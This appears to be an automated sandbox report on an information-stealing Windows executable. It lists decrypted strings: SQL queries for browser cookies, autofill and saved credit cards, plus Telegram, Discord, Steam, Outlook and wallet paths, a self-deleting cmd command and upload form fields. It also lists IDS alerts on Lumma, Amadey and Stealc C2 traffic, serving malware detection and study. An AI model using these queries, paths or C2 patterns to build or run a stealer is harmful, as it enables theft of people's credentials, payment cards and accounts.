Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: login:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: password:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Opera
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: OperaGX
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Network
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: cookies
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: .txt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: TRUE
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: FALSE
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: autofill
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: history
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: cc
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: name:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: month:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: year:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: card:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Cookies
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Login Data
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Web Data
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: History
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: logins.json
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: formSubmitURL
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: usernameField
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: encryptedUsername
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: encryptedPassword
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: guid
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: cookies.sqlite
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: formhistory.sqlite
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: places.sqlite
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: plugins
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Local Extension Settings
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Sync Extension Settings
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: IndexedDB
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Opera Stable
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Opera GX Stable
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: CURRENT
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: chrome-extension_
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Local State
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: profiles.ini
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: chrome
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: opera
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: firefox
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: wallets
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: ProductName
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: x32
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: x64
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: ProcessorNameString
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: DisplayName
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: DisplayVersion
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Network Info:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - IP: IP?
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - Country: ISO?
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: System Summary:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - HWID:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - OS:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - Architecture:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - UserName:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - Computer Name:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - Local Time:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - UTC:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - Language:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - Keyboards:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - Laptop:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - Running Path:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - CPU:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - Threads:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - Cores:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - RAM:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - Display Resolution:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: - GPU:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: User Agents:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Installed Apps:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: All Users:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Current User:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Process List:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: system_info.txt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: freebl3.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: mozglue.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: msvcp140.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: nss3.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: softokn3.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: vcruntime140.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: \Temp\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: .exe
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: runas
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: open
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: /c start
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: %DESKTOP%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: %APPDATA%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: %USERPROFILE%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: %RECENT%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: *.lnk
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: files
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: \discord\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: key_datas
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: map*
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Telegram
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Tox
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: *.tox
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: *.ini
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Password
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: 00000001
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: 00000002
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: 00000003
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: 00000004
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Pidgin
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: \.purple\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: accounts.xml
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: token:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: SteamPath
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: \config\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: ssfn*
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: config.vdf
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: loginusers.vdf
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: \Steam\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: sqlite3.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: browsers
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: done
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: soft
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: https
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: POST
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: HTTP/1.1
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: hwid
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: build
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: token
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: file_name
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: file
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: message
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50102 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: b28f5af0b9.exe, 0000000A.00000003.2539631182.0000000004D1B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580073228.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, b28f5af0b9.exe, 0000001D.00000003.2678993762.0000000004F6B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000001D.00000002.2770625069.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001E.00000002.2683995426.000000000023C000.00000008.00000001.01000000.00000017.sdmp, num.exe, 00000025.00000002.2830828973.000000000023C000.00000008.00000001.01000000.00000017.sdmp
Source:	Binary string: my_library.pdb source: b28f5af0b9.exe, 0000000A.00000003.2539631182.0000000004D1B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580073228.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, b28f5af0b9.exe, 0000001D.00000003.2678993762.0000000004F6B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000001D.00000002.2770625069.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001E.00000002.2683995426.000000000023C000.00000008.00000001.01000000.00000017.sdmp, num.exe, 00000025.00000002.2830828973.000000000023C000.00000008.00000001.01000000.00000017.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: CMI46CXL3718GGL9UBA.exe, 00000004.00000002.2204360289.0000000000E92000.00000040.00000001.01000000.00000006.sdmp, CMI46CXL3718GGL9UBA.exe, 00000004.00000003.2070411561.0000000004970000.00000004.00001000.00020000.00000000.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000002.2849679646.0000000000922000.00000040.00000001.01000000.00000018.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000003.2713779245.0000000004750000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Directory queried: number of queries: 1535

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 95MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:60775 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:51371 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:54156 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:59698 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:54274 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49781 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:52091 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:59708 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:64189 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:55821 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49797
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49845 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49844 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49857 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49866 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49874 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49890 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49914 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49907 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49902 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49925 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:52268 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:53359 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:64384 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:55832 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49931 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49939 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49959 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49968 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49949 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49955 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49983 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50009 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50001 -> 185.215.113.206:80
